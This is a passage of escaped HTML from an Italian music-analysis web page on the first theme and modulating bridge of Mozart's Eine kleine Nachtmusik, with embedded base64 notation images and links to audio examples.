WlIVmECc5jkudBkTl9iAxmv0p9LPutehNoVP\/\/PoLX+rCuPqeKcWwdtOfLmCAOWZzWiDzXPac1DpI02nf\/IjbdauwvOHTMftlbmzdEOlfmIqk48bbTp\/Ee0u9XdzTfZsug0buP\/aaDb5LfORlNi8oA\/l+j4rQg+mbyY5JOThmSVviE06fPTKZMykzwXmszpS2wg4216uWrMy697Oclaf9aVx1Rxzq2Dthx5c4QBy7Ma1AfJ46ONNt0SIzfYau1eOHdsiZGrZ96ctPOwI5oq1JPzs2iJEe1rdfcWmGxcdBq3rfvzR1aTX5PDSHqP+L88kdClSj6ZvJjkk5OGZJW+UTTp89MpkzKTPBeazOlLPNWfTvMlvVN\/rxr2\/utYK6IJzpPhnFsHbTny5ggDlmc1tA+DT4022nQLjVx3q7Wb4tyxtWbvlnlz0s7DjmiqUN\/ROD8\/LTSira3u3guTHUxI42dLr3prNfnlzG\/VxC+vJSlhPIiETyYvJvnkpKGapY44Jn1+OmVSZpLnQpM5fYn3QiZ71yH75fqsfr+mLSRc8TsBeUwV59w6aMuRN0cYsDyrzn1g5NKiqQJqD0bnjjGcadG0ARnRRZk3ZyRg90yabHFOGvWfw03a8oy\/HHzu9d34lk8mLyb5pD2AkiAdcUz6\/HTKpMwkz4Umc\/oSU9bSanhvKdcTvUp91rpKICjyOOfcOmjLkTdHGLA8sc59YOTSoqkCao9H544xnGnRtAEZ0UWZN2ckYPdMmmxxWhqVH8VN2vLkflDNJ5MXk3xy0pj4EdGkz0+nTMpM8lxoMqcv8bmWyfa1anhvyRYTvUdVy0nWukogLvgg59w6aMuRN0cYsDy0zn1g5NKiqQJqT0jnjjGcadG0ARnRRZk3ZyRg90yabHFyGrfLmbTlOXY\/WL9EaAk5S1TyyeTFJJ+cNCZ+RDTp89MpkzKTPBeazOlL\/FnOZAebhN+R\/V1J9x7tXvHPD6iW+5lAXPBBzrl10JYjb458qhMWMo82nXlzJn74K0RThTKPNp15c9LOw45oqlDm0aYzb85IwO6ZNNlikzTefPKp\/xbT\/aUmoVirfs5O4R8m+eSkMfEjokmfn06ZlJnkudBkTl9i+orjmt9eQ8tI36Oti179gHDF7\/hxwQc559ZBPjnCaNqA5aF17gMjlxZNFVB7Qjp3jOFMi6YNyIguyrw5IwG7Z9Jki03SePPJp\/6LTPc3moRirfo5O4V\/mOSTk8bEj4gmfX46ZVJmkmfHAdgnoZDoJb5XNNnEehmbMWsm3gGvgkfX7jwNzrl10JYTN4qSUIVozn1g5NKiqQJqT0jnjjGcadG0ARnRRZk3ZyRg90yabLFJGm8++dR\/l3GeAat+zk7hHyb55KQx8SOiSZ+fTpmUmeTZegB2Sygkeomfi5rsY6XYzTAZiKv4CevGBR\/knFsHbTny5ggDlofWuQ+MXFo0VUDtCencMYYzLZo2ICO6KPPmjATsnkmTLTZJ480nn1cmoV9nEop166cPk3xy0pj4EdGkz0+nTMpM8qw5+iQSCole4ueiOdWpxKZrMg1XS0Qv7TwHzrl10JYjb44wYHlonfvAyKVFUwXUnpDOHWM406JpAzKiizJvzkjA7pk02WKTNN588vnMJOiLzK7fjX\/yyeTFJJ+cNCZ+RDTp89MpkzKTPOuvdAYlFBK9xM9Fc6pT+SfdtL0HAAAAAAAAYCTq3nHG0lfJ1P9z4bpxwQc559ZBW468OcKA5aF17gMjlxZNFVB7Qjp3jOFMi6YNyIguyrw5IwG7Z9Jki03SePPJJyGTPZao5JPJi0k+ad+LJUE64pj0+emUSZlJnvUXO4MSCole4ueimTWOC0nUZwg+86n\/58J144IPcs6tg7aciCdCGKoQzbkPjFxaNFVA7Qnp3DGGMy2aNiAjuijz5owE7J5Jky02SePNJ589vrge1c8mJvnkpDHxI6JJn59OmZSZ5Fl\/tzMooZDoJX4umlzmIH2W9duf1p2rGqN3KCi4ZML8R7OJfIaF0bQBy5vu3AdGLi2aKqD2hHTuGMOZFk0bkBFdlHlzRgJ2z6TJFpuk8eaTzx5fXI\/qZxOTfHLSmPgR0aTPT6dMykzyrLzeGZdQSPQS3yvmlzlInGXT3qc1aNZORCyqGjL\/0WyiLUfeHPkjlrCQebTpzJsjCSh\/O6hCmUebzrw5aedhRzRVKPNo05k3ZyTg6p\/KTNJ488knIZM9lqjkk8mLST5p34slQTrimPT56ZR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alt=\"\" width=\"494\" height=\"64\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-1\u00b0-Tema-frase-II.mp3\">EkN 1\u00b0 Tema, frase II<\/a><\/p>\n<p style=\"text-align: justify;\">La terza Frase ancora binaria, di carattere molto melodico (comincia con i due violini per terze e con note lunghe)<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAhQAAADeCAIAAADq9A5JAAAPUUlEQVR4nO3d0ZakqBKFYd\/\/pTkXrqljp4oRCEFs\/L+rWVmmbAIkOrurarYCAIDTNjsAAEAPzQMA4EbzAAC40TwAAG40DwCAG80DAOBG8wAAuNE8AABuNA8AgBvNAwDgRvMAALjRPAAAbjQPAIAbzQMA4EbzAAC4OZrH9h\/fAE3vAgBk9nymbyem+za9CwAgwXqmt7UBmgcALMndPHx3p3MAwIpoHgAAN5oHAMDN\/a\/fjlvzDx4AsChf8\/Ddms4BAIuieQAA3GgeAAA3xw8J+u5L5wCAddE8AABuNA8AgNvD4U7nAACc0TwAAG40DwCAG80DAOBWO9\/pHACASzQPAIAbzQMA4HZ7xNM5AAB3aB4AALfrU377l\/VeTe8CAMj554jfqm5v0fQuAIAuDncAgBvNAwDgRvMAALjRPAAAbjQPAIAbzQMA4EbzAAC40TwAAG40DwCAW5bmwc+iA4CQFEc2v8sEYdhmQBfzHyR+FxYisceALiY\/SPwiRQRjjwFdpGsePNsYij0GdDHzKeK3uCMeewzoYtpTxP8FBFOwx4AuaB74lvoeY\/sBRnOek3rn4AHGOHd7jI0HuGRpHuevBgQYOgRyutx4dI5xqOqqJqzr4yeMgCeZk+Kz+LAbjMKuKmPzKP0O93p\/en9\/yDl\/2mAnDEV5VzW5eTxe1mWsQTeHIppHMCq8quhFtT+xNA+MsK87f2cVhvKuiuaBbznvQPrHUJR3Vdmbx8s9R\/PA0d2mYj+MU3+Qqbyuac2j45WPN7G\/joU9nmLBeT7i7s+LfCJRF7py9o8dJbB5sH2\/4HHvcZANsv3r58W52fDGp5sHO\/gjjgtN8wi23ZsdDa\/MaR7dL67f5HxPNvGn\/PyZ9\/EadHT+tEGd1\/CJ5vHozRDQQvMIRvNY1crNw9g52MqfQvMItvGDNYtK2jxe7jN722Affw3NI9j5QeO5W8OE5mG\/MqB5+CcBbZXmEZzkC+4eNJ6+BcStn\/28fn++0zlwh+YRpv6gUXB132oePxc03BnqOMtiPD7CPIPq0jWPLp8PHu\/Axv2su\/0Qn2Rhx0eP5rGqXM2j\/nHBNdbxhncDNdwZ6lj3AMfni+axqjWbx88N7a9jeax7MJrHqhI1j8vOQfNAX6x7MJrHqrI0j7vOQfOYaMSKTKeeXw7NY1UXvzkAAPBN7uYR4zJcr5nYR6y8DuNahBWw+0Cse7C7grMQ2dA8nkesvP5x3iUIqCHNQx3NQ4VY8xjaOS5HPL\/OJt411J\/mgUd3D2B8EtQpNY965whoHh0HUtdWfJoHHlFwFRrN47Ft9NpwxnbVZSxdzdUIqB7NQx0FV5G6eRTPt3VFDtdlLFHNdYgpHc1DHQVXsUjziBxryuZOmCTgXQ1oHuoouIrUzSPsKLe3jfgjO1WethEjo3YfJXi5QcFVeJ+1CedUwNEZOVaXVOfLIiM1vCWsgN1HCV50UHAV3mct9JAKO80jx3oTqX59WCrv9ZEFpHmoo+AqMjaP4M5RGfHngl7DNeSxvCUsmP3K4M5RXq\/UOTNnWTAKriJd84jvHOdB7y7oOKI9jP2wHh2s2OowerEsoze\/cW54FJqHDu\/TEfFN+hbdxz0GuAvWd9C7JG3TjElYHyXD4dswYvBmQx0FV+E+o4bmMBqUocxuHs1zDDvjLuOlOnndG3rqfsMZBVfhftaG5pj+JN8NEXOItM0x8ozbzD\/wP+vwdW\/oZPlBwVW4n7Xj2wAAX+ZuHh2NSPkyjP31gKEf3xJcn3qGuzzTV7By8dBdl2RjN5iVPG1B8MO7B\/r\/S7VR33HreeyvBwxdvz6+PpUMj0kCcrqqMXTX2fd22PIZzU2erRq4490AA79BtrI7w\/bTXTlGP+GuR3Hi0XMcqyFGQFT3hh5wJho39qxFrIhPfr5VklLgkXf1h\/9c3uW+DHu6Zj3Gxuew+6Pr9bMi3hgBaRtq0reexo09dx0zJM9cClh4F6vPunp3ZNiWmrV3t6c\/cyV5zP5ytmUIyDz39LFs7CRLOTF58lLAyLtYHda1bTuuvaW2w6H883qqZ+xNgJjME08fy8ZOtZpTkicvBey8ixXRPO7e9X7otP5mN\/S57ZLz5ZExKNjPQKNHqQzdbErm+OTJSwE772IN\/xvhXkG1nKc27ul9mfPleTEo2M9Yo0e5G7dZfOApyeOrka3aLsnDe\/OM\/S6UjkG1XE7NWKjIyjSMFbz1Z+2Tx73dvPNXSh5WirCBRlAJ700ysHlY3v5m9MzOU\/OWKKY47u0SvuNnPVqWB7555y+TPKAUQ\/OPphXeG6M98ftCZKjXINvVhwlXfWKK41qsKXt9ynPleuanlGVE+L7DzZrI+3G7UAzvzTCkedjv0Dx6cseptdUnpjiWPHN3+cvhjLO7fNGrOWRf8clH1KFtCZKsgmh4b4aZPxCUoV6D\/M0reXHqo2TY4i9HtEzw8vXiPAKaE3bnip0q+R\/vFFJNRze8N8PMz6oZ6jXIdjp9vG+PqcxlvFT7+\/2gP+Et09luen+Ggjy6nKZE8p0ledpJLRDecX3zGF0mv5mfZy0\/8\/K+N6wOl\/VPtbO7DO2d0Wbopi8jjXPMppV8Z9yNqXbpSuEd1x\/fBgD4MnfzcLzh3ZBDJ5NHW\/j4iecvb69SuPZV5av5d+xdgPzJjSHT5pcOX5o\/eXgHaJi5emVdGmJPmW\/+wk5Z\/csRVbbreXSV5N6oqZKrhy+zmkfbuxTra+TKPHGm+as6Zel\/RtTarseh5ZI3m5V5jfA7b5iI5vGmrDmr\/OhNZWIS\/gWIHK7BlHXfXp+\/Ewv7N7RicqG0P6TD77yRXv2lvGWwtpqqlPvO9t93MVUuyDC7\/PWcWxbFjfq3976QfFbUM+nwO2+qsc3DUr7zTbQqfkllavnrOaUy2+vzd2JhX8aem9w+hVkh70iH33mzzWkelsRypT9y7aSJM8pfzCn12WgeXfNYAp+vTFXVR9Lhd96Qb5uH6+K76yv3UVyDYv6OlynZflLNjvBgSqEuF8slOHDH8OPyPH7JMnq2av+RDr\/z5gltHvUrjTfJVvFL+RPu8uecstx3u84uOHDH8PGRjpe9mdSI5HbS4XfeJHHN4\/FK+6BJal2RP+Euf84py2152tMeBDmTW0a8DJAk\/yPp8Me0jusb7m6csPfKXuNmkD\/hLn\/OKcvteuaz7cy0yR9H3E69JOEs7kiHP2Z2XN9wd+NsXUWx3ypDlR\/lT7jLn3PKcis++X+SJ68Md\/xS2xJMXAXp8MfYjusb7m6craso9ltlqPKj\/Al3+XNOWe5N+Xv2XbGzJf\/7j2aEfzMFVwZ3XPtsXUVx3W16lR\/lT7jLn3PKcrsOguBsjzZz55ud9Jc9ecJJSYf\/m4IrA81jiPwJd\/lzTlnunxETPucVx2yKyY3n7B3Cv5mCK0OHj1oAgDW4m4eLfTBXIOOtvDOcIn\/CXf6cU5Y7f1kqdMNHHnyEv5uC4\/rmMSxzdpWmflm2QtflT7jLn3PKcucvS4VueOnDVzr8zpukMbR92vbq1C\/LVug6iZBFIeeUFc9flgrd8NKHr3T4nTdMe2775F2XPY6Vp9YVEiGLQs4pK56\/LBW64Rc4eUXD77yRIprH8frHa7qMNR05e5my6PnLUqEbfhP\/8ZoiG34X1zxK05lev\/jyS5nLfUclav6cNA8v3fB\/yUVP3r\/\/kAu\/C20epffJfnmf\/EU\/U4maPyfNw0s3\/E9yoWO3iIffRTeP0vVwP99EqPRHKmnz56R5eOmG101exMPvJjSP0u+I\/7mDaOcoOjspf06ah5dueN3kRTz8bk7zOI79vn\/83E1xVVQy589J8\/DSDa+bvIiH381sHqXHib\/9q2+8MCrJ8+ekeXjphtdNXsTD7yY3j2OItsd+gc5RdHZS\/pw0Dy\/d8LrJi3j4XYrmcYxi7ARrfOD4ozKF\/DlpHl664XWTF\/Hwu0TN4\/9jmP1dH5BqKJUp5M9J8\/DSDa+bvIiH32VsHtcD3wdd4MOHSv78OWkeXrrhdZMX8fC7xuZh\/3AAAFiVu3mk4p1DQir5VXIGky6Lbnjd5EU8fJuME6Z5hFHJGUy6LLrhdZMX8fBtkk5YfSVU8qvkDCZdFt3wusmLePg2SSes\/uFDJbxKzmDSZdENr5u8iIdvk3TCNI8YKjmDSZdFN7xu8iIevk2WHxK8fO+gYAFUwqvkDCZdFt3wusmLePg2w389SVsLoXnEUMkZTLosuuF1kxfx8G36T7jSObz9o3u2MCrhVXIGky6Lbnjd5EU8fJuBv1X3Zf+QXgyV8Co5g0mXRTe8bvIiHr5N6uahux4qyVVyBpMui2543eRFPHybnhM2dg5jV6B5BFDJGUy6LLrhdZMX8fBtaB5D6CZHEV8+3fC6yYt4+Dapm0fHbMGkw0N6+XTD6yYv4uHb0DyGkA4P6eXTDa+bvIiHb5O0eRgbTFrS4SG9fLrhdZMX8fBtaB5DSIeH9PLphtdNXsTDt8n4rbrqnaN8cietRHr5dMPrJi\/i4dukax7GBpOcev6Pk14+3fC6yYt4+DYTmoflDn1TxVtgCl8mvXy64XWTF\/HwbUJ\/t5Xxjd0jAS7Sm1A3vG7yIh6+TdBv1bW\/ZUQewEV6H+qG101exMO3GTVhPnBAl\/Ru1A2vm7yIh28zdsKWfwL5YNGRnPSe1A2vm7yIh28TMWF6BoBH0meCdPg2n5swgJykz1\/p8G0+N2EAOUmfv9Lh23xuwgBykj5\/pcO3+dyEAeQkff5Kh2\/zuQkDyEn6\/JUO3+ZzEwaQk\/T5Kx2+zecmDCAn6fNXOnybz00YAPAezQMA4EbzAAC40TwAAG40DwCAG80DAOBG8wAAuNE8AABuNA8AgBvNAwDgRvMAALjRPAAAbjQPAIAbzQMA4EbzAAC40TwG2v5z+eIH\/wcAAJbB+dXfdnL3Ov0DgCgOr4GOHeKnVdA\/AEjj5Bqo3iFoHgB0cXKN8vjXUzQPALo4uUZ5\/IspmgcAXZxcozz2BpoHAF2cXKPQPAAsjJNrCDoHgLVxeA1B8wCwNg6vIfincgBr4\/zqj++zArA8zq\/+6BwAlscR1p+leQRHAoC+OMX6qzQPOgeANXCQdbb96\/z6xGwA0AtnWWfbvdnRAKAbTrTOaBUAvoAzrjOaB4Av4Izric4B4CM45nqieQD4CI65nmgeAD6CY64bOgeA7+Ck64bvygXwHRxzb\/GDHQA+iAMOAOBG8wAAuNE8AABuNA8AgBvNAwDgRvMAALj9D1fv8XHk8zBIAAAAAElFTkSuQmCC\" alt=\"\" width=\"157\" height=\"68\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-1\u00b0-Tema-frase-IIIa.mp3\">EkN 1\u00b0 Tema, frase IIIa<\/a><\/p>\n<p style=\"text-align: justify;\">viene ripetuta leggermente variata.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAfwAAADeCAIAAABXIyXNAAANCklEQVR4nO3c0XbbuA4FUP\/\/T+c+9E6Xmjg2RQEUYO79mLHBI0o8cTtpHl8AbONxdwAA1lH6ABtR+gAbUfoAG1H6ABtR+gAbUfoAG1H6ABtR+gAbUfoAG1H6ABtR+gAbUfoAG1H6ABtR+gAbOVH6j\/+cevE3szkBCPC+hSeK+7fGV\/oA9xptYaUP8AFOl\/7IK69FAiCL0gfYSHDp+zscgMpO\/yjO+Cu1P0A150p\/8GWqH6CmyNL\/+Xq9D1BKSul\/e5fSByjixA\/dz0zX+wCVKH2AjeSW\/vW3AxBo9Ady5hdQ+gBlKH2AjSh9gI0sKv3ptwMQ6FUdh3xIV\/oAdeSWvsYHKEXpA2zk10Yeb\/zfXqbxAaq5WvqPg59fj8kIQJDnvfz416v3\/y4nMADznnw8P1vi6h6gCwUNsBGlD7ARpQ+wEaUPsBGlD7ARpQ+wEaUPsBGlD7ARpQ+wkSql79\/xAixQomr9\/gaANe7vWb+3B2CZm0vWL2sDWKlc6et9gDx3NqxfxA+w2G0NO\/e7+wG4QukDbOSeen3d+HofIEmV0v\/5XxcESF0CoKAbiu\/tJ\/oFH\/aVPrCniqX\/FVfKr7+vXJ8P0MvNpf\/2ZSFrJQ0HaGd18Y3\/r1qlDxBO6QNspHrpX6xmpQ9wdFvpB77y7ZDxrwN8tqXFN\/4x\/2th6Wt\/YB9bl37IEgCN3FP64S9+PeTnTKUP7GmL0n\/ryhIAjXxy6Q82vtIH9lG09C+W8njdK31gKzeU\/vgrF5T++YsAaGxd6y37mP9zgsYH+GOv0v\/2gonJ7MOnBD5SudIPOWlvJzjD\/ObVnw09NvRXq\/Sjztjfdyl9Tnnb+Kqf7j6z9L8NHP86OxtvfM8PfRUq\/YyjpfQZNPi86X26q1L6SZ+nlP6EDT\/YTlzgDtvCR\/rn774B+HBLv8M8WzE13m9D1l97cYO3YOW+LVvryioeJBpR+s7q\/53d+WVdXL\/0r799WxnnnddKlH5q4z9d8efXN3\/UJrZd6YdP2MfrI6\/9U91f+gtu\/OvS94TN7fmHlf51XXLebrDxG936Xu4s\/WW3\/Nsoj9fR9Cas2bRet2Zl1LznNvVEvJ1c6mAmZbj30u5Z+2XPx9\/vlWv1Mn35y3as161ZFjXv0U09FKdm3n48kwJUua57Vn1n5VoVnqr1SeZWXJnzrlszbeW2ZNyI7MlFwty4epXauWHJd5YtdMvuV8gzt9DiHVt5a0LuwsptybgRqZMvRgoMc2rd2NUXH\/NfA6xeb0CvtUJS\/XzZgiQTb1m5b8v2oc4TMiIvXtkLv\/2oFh97OsDSxVadsZVrXYn0+vXZSSbesv6ZSR1e8DkZkRes+CWvXzF80Xt3eN3a60\/X2\/mL933iSvPindrtvHs0uHTS2LPCY3CKuxBi0dN8y7l6O3nlMzR3pXnxBmPc3n0ZK44\/jTdeOE+5C9eteJrvOlR\/B\/42fNlJnr7MvISP\/\/6pxOulby++8EXHn8bbr52n3IiLcp\/mIifqt\/lrTvL0NWbfmqdLVGu92HVPPZAVLp+f3IiLcp\/mIsfptyXWnOS5a8zemce\/fwwq23exq48\/kKU2gSM34qJ\/nuaLRwKAHrK+mdyx9G9hxr++YOm3b8nenzU7f13gJlw5IHMZeo1tNHk6Bl9Jf70zcoMz1n2dZ\/zrseuefZrX7E+XYxO4D+OP5fUHNWl4XuZek89m4GjmLg5NHLi7y+7cb9cYfu1P5w8ucfFoTWRLnR8lcCtOtc\/0jUhaIi9508kjL+OpExt9YtzYfY1d+m2qBQs9Xfft0tOP\/sVs2UuECNyNs+0zse7EEtNPSEj+jpO5KHKjz97RZff4rofpUfhn4bucrsXP55W7cHb+4FpJY5tO5rqwjZ67nZ99jx+Ffxa+y84H7snxdoTfgpGxEysmjW06mRBhGz13Lz\/7Hv+9uoKPe5edD9yZ45zw\/R+8xWdvfdLYppMJEbPR0zfys2\/zz0ur85R32fbALcq75KSaSxrbdPLELZie1n3y0LoBI6Zu5LLrvEXlS6uc7Sj2jIXMeTr5isVjm06eXu7szL6TzwUIGDGbPvsKb1T50ipnOwo8A0mXPHKG5w5I0ti8yVfGvs18Za2PnzwT4+r7L+ROvbx7Vb60ytmOAg9A0iWfOsmnDkjS2LzJ02NHMl9c5VMnT7g6\/XrivGu7XeVLq5ztKPDpT7rkvPOcNDZv8sTY8cxXlhhZpePkOZemh8RNvbx7Vb6uytmOAh+PpEt+DP8k6NnTcWrmxKHLCJy0FXOxxxfqOHnapekhWVMv716Vr6tytqPAxyPpkv+ODT\/Gj7R\/WJA0OW8rBmfOLddx8hXz0wOzPp49ghORqql8FZWzHQU+DEmX\/G1s4Ok9vjG2FJIm523Fb9PGfdjkK\/6ZfjEiAD1Mfq+YnbMgYQWVY1fOdhR495MuOW8n201ODXzFh02+aHKB6aBlNyJD5cCVsx0F3vekS87byXaTUwMnlUbS5Ctj32a+aHKNuaAXN2LBdsSqnLZytqPAm550yXk72W5yauCkukiaPD12JPNFk8ss3oXFmxKlctTK2Y4C73jSJeftZLvJqYGTWiJp8sTY8cwXzSw2EXduC27fnYsq56yc7Sjwdiddct5OtpucGjipH5ImP5L\/ycIVM+udTTxytT+HFNmgKyrnrJztKPB2J11y3k62m5wd+G2TTARImvz39RmZL5q8nlO5Ry71tyF1dmpC5ZCVsx0F3uukS87byXaT1wSObYOkyU\/7rUiDzSx\/Kv341b6YU2rLxlUOWTnbUeC9bt10LSa3C5w3ufL5uqH0X79ycEiL3q+csHK2I6XfaHK7wHmTK5+v1aX\/9pXji1be1j8qJ6yc7UjpN5rcLnDe5Mrnq03pn123gsoJK2c7UvqNJrcLnDe58vlaWvojk6PWraBywsrZjpR+o8ntAudNrny+lH6iygkrZztS+o0mtwucN7ny+Zpsz7zSP9X7Z2MvVjlh5WxHSr\/R5HaB8yZXPl9KP1HlhJWzHSn9RpPbBc6bXPl8\/dOeDwB2MP\/tYmDCqVUGR03HXqlywsrZjgJvdNIl5+1ku8ntAudNrny+lpb+yEKvX6b0o1TOdqT0G01uFzhvcuXzdak9x\/s3o\/RPx12ucsjK2Y6UfqPJ7QLnTa58vq4WaHjvv3hNr4\/5X+Vv\/N0Rhij9RpPbBc6bXPl8rSv94+vfviZkrdtVzlk525HSbzS5XeC8yZXPV0CHTnTx6xc\/\/U\/tGv+r\/I2\/O8IQpd9ocrvAeZMrn6+YGo1t5KdzlH6sytmOlH6jye0C502ufL6CmzrwW0jS8JUqp62c7UjpN5rcLnDe5MrnK7JJo6r524Smjf9V\/sbfHWGI0m80uV3gvMmVz1d8mUb1\/rdplTfxN5UzV852pPQbTW4XOG9y5fOV0qfXm\/rxr9h4y1ROXjnbkdJvNLld4LzJlc9XYqteae0PaPyv8jf+7ghDlH6jye0C502ufL7Si\/XUZ\/bP+ID\/V+VLqJztSOk3mtwucN7kyudrXb0+hv19\/YJUqSpfQuVsR0q\/0eR2gfMmVz5fN3+mfrH6B3zYr5y\/crYjpd9ocrvAeZMrn6\/vH64B+Hz3fud5qmywcd3zf5ik25F3l9tNbhc4b3L9s18xn9InVrvj3W5yu8B5k+uf\/aL56m\/ca93zf5h2x7vd5HaB8ybXP\/tF83X\/sN86\/Odpd7zbTW4XOG9y\/bNfNJ\/SJ1C7491ucrvAeZPrn\/0q\/zjr6XuTgi3QOvznaXe8201uFzhvcv2zn\/5rGOaqX+kTqN3xbje5XeC8yfXPfny+F41\/tvfDs7GnqGfy59jYnH0ntwucN7l+cQXne3u6xs9Y\/b2ji8HH8orwwLEDsye3C5w3uX5xlS79+ttHCwkln+IYOG8rGo3tODkvcJTIfHPP9+tpgfHYVmgzlzayFUk7nDG24+S8wFGUPp8vtli7s8PZMnY4UOnSD8zGznKOdld2OFvGDgdS+ny+nKPdlR3OlrHDgYqWfou9o4uEc92YHc6WscOBlD7s1Vk2MFvGDgeq+CObLTYOjtIKJN7ml79Axg4HKlf6XTYOwuVU0InTVzx5Fxk7HOiG0h+ZEJsKNnFXH13qyM+StMOBlv7uncE3hkcC4I9Ff9Ybf0tGHgD+WPHHvcFXJiUB4K\/cqv2YvwUD+AwrClfXAxSheQE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNqL0ATai9AE2ovQBNvI\/\/Ki9sexFu4IAAAAASUVORK5CYII=\" alt=\"\" width=\"151\" height=\"69\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-1\u00b0-Tema-frase-IIIb.mp3\">EkN 1\u00b0 Tema, frase IIIb<\/a><\/p>\n<p style=\"text-align: justify;\">Primo Tema completo: <a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-1\u00b0-Tema-completo.mp3\">EkN 1\u00b0 Tema, completo<\/a><\/p>\n<p style=\"text-align: justify;\">Il Ponte modulante \u2013 indipendente dal Primo Tema in quanto non sono presenti affinit\u00e0 melodiche fra le due strutture \u2013 comincia a b. 18 sulla nota finale del Primo Tema (elisione) e porta alla dominante di REmaggiore. Da notare che questo passaggio modulante presenta una fisionomia piuttosto marcata e che dopo aver cominciato in una forma chiaramente melodica, si fa sempre pi\u00f9 ritmico man mano che si avvia alla conclusione (la dimensione ritmica \u00e8 arricchita fra l\u2019altro da un impiego di sincopi nelle parti dei violini).<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" 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F2GTM\/3JJzo9ra3kLjk6pW22ufG403xoUX8V3OjZYB11Yy07RZnV2LaTUt8vAusBWXx4oLV2SR\/CqVzI6qFTAtn4hAu4yZH67aucGgak\/zwudGU\/vScJMMtcu5cTzg8jImmzOxvoV44bK+usBWXB4rLly1TV4qmR1VK2BaPhGBdhkzP1y1c4NB1Z7mVc+N5v5l8XV8l3PjbWWK1DBfUlfz6bumRN\/CBbbi8lhx4art81LJ7KhaAdPyiQi0y5j54fLvWHe7oCSrVsyrnhtfb4wd98kIu5wbP\/\/\/l9VLVW+VCTPsLuJNSvzPBbbi8lhx4aotxVLJ7KhaAdPyiQi0y5j54dLODZeViQ6qt6SMFfLpDtSRfMtiLrLOg8JNn8if0ZbXba3RqY4swVvVOnOmV40VF67aUiyVzI6qFTAtn4hAu4yZHy7h3Gh8t1Y7wQr6eldJrmGpfM4GGkm+8XvXFuQ31aBh546cXJbiYrualm8fTGAXmTO9aqy4cPnH5bFSyeyoWgHT8okItMuY+eGiz42zb9Vqy76Iapfmavk8zqyc8eRPjbCkGs+pBg07d+T8ylQ2VIvx9Xefh5E506vGigu35MQ8UCqZHVUrYFo+EYF2GTM\/XOi50fFKrbbsl6t2da6Wz3Niacn3jZNTh9dUg4adO\/KS4pQV1dW0jzCSwEYyZ3rVWHHhVh2an5RKZkfVCpiWT0SgXcbMDxd3bvS9Uqst+7Wq3Z6r5fMnt7Tka1bgraDQ0ye1sEQF9ddiyhJcu2QzZU7zqrHiwlVbh6WS2VG1AqblExFolzHzwwWdG96n4zquzh0F3zef1\/Qyk682\/U+Cok+f19oqVTO\/q+kYpDuHjWRO86qx4sJVW4elktlRtQKm5RMRaJcx88NFnBtepuNOXZoTrtHV8nmbYXLyRSZ+LCiH6bOrUKs6OmsxcSH++5Zqq3m6zEldNVZcuGqrLjSZ9hdS8VfOgWrppeUTEWiXMfPDRWyEvv21xa5MU+1kq5bP2wyXJL9qvo2Ckpk+zVJFW+6\/tRhcuwAAADk+djUnOqG2oc9+e3vSO8qcxVVjxYWrtszGk+nYZRNNKcLg9Fen8D\/S8okIdHbMgoskKNz0iXQMWG3rLVft7FqbT2OIT4HWJh9nsCxTos8dcOJou0vtaq66Q1pk5n\/VWHHhqi2w7mQGt9h0c8tyqg6rQr+Vlk9EoPYxy66NoHDTJ3J2wCLbrZRq59WqfKbEWpV8nAqzmD5y2WovMa2r6fuuCissR2byV40VF67a6jqbzNq9U3Dnlnqajxt0NaeP8txVERRr+izaB1y+xcrqW4pxBczPZ2K4\/OTj1JnI9JFrFnyVpK6mbz2lLbIEmZlfNVZcuGpLqzGZyntkbW5FivBr64l\/HbP+Yb7LudEyYNktX0S1dZicT0e4g6DJyceZW5YpycwdcOJouztdi44H372eMtdZtMy0rxorLly1ddWSzEabIn8LVytIWj4RgY7H3OIk3+XcOB5weRl3UW0RpuVzKlBj3LTk40SUZTyfuQNOHG134V1Ny6J5HSR\/nUXLTPuqseLCVVtX7XsqLaUp0jZytcqk5RMR6GDMr8d7kZN8l3PjbWWK1HAvpZZfTj4tIfqiJyQfJ64sgynNHfAgUOWnE2FZV\/P6mfbv3fEhZeZ81Vhx4ZIX1ddV\/fWQ2nELPIueRbX6pOUTEehgzIMjusX0VDumMDjs3JF\/nn6br0719lWtbqH5nN5+J9OoVsxG0WXpTmnugH8G3+4xTTShqzn14U+fPxhnl4d0nGdmzleNFRcubVF9Ojr\/rJm3yVRe\/H0GZ3Sw45ZUqUI+mcVsWcwHOmfYJSjc9In8GW153djFRpsxU82yTB\/8ts\/3reyu5viTjYOUek6NeyMz4avGiguXsKIaT5xPy7vUmp+oYzu37LjkLVAnn7OBRpJv\/N61BflNNWjYuSMnl4XL2GgzZqpZlimDV5hITaldzddPtget8JxOrarMhK8aKy5c9AM6ux5+XlqduNyKaJljte1WLZ\/HmaUynvypEZZU4znVoGHnjpxfGa5ho82YqWZZuscvOJeC9uhqzsaNVnxhXTVWXLjQB9SxEp4\/c58j6WCm1XZctXyeE0tLvm+cnDq8pho07NyRlxSHC9hoM2aqWZa+EN1zufxT\/iOvq2kZeVbcUPUX1lVjxYWLe0B9y+Dnll3N49tfKCqy46rl8ye3tORrVuCtoNDTJ7WwRGxto82YqWZZ+gJ1zOVWz\/qXruacLRbWVWPFhQt6QN0L4IYn0SfVdly1fF7Ty0y+2vQ\/CYo+fV5rq8TWdtmMyQqWpS\/WqYnc9nE\/Orqax\/mfK2ss66nRljynkVWVmfBVY8WFi3hA3Y\/+hsfQJ9V2XLV83maYnHyRiR8LymH67CrUin1tsRnzVStLX8SWWXjWD13NKR2raknCV40VFy7iAfU995ufR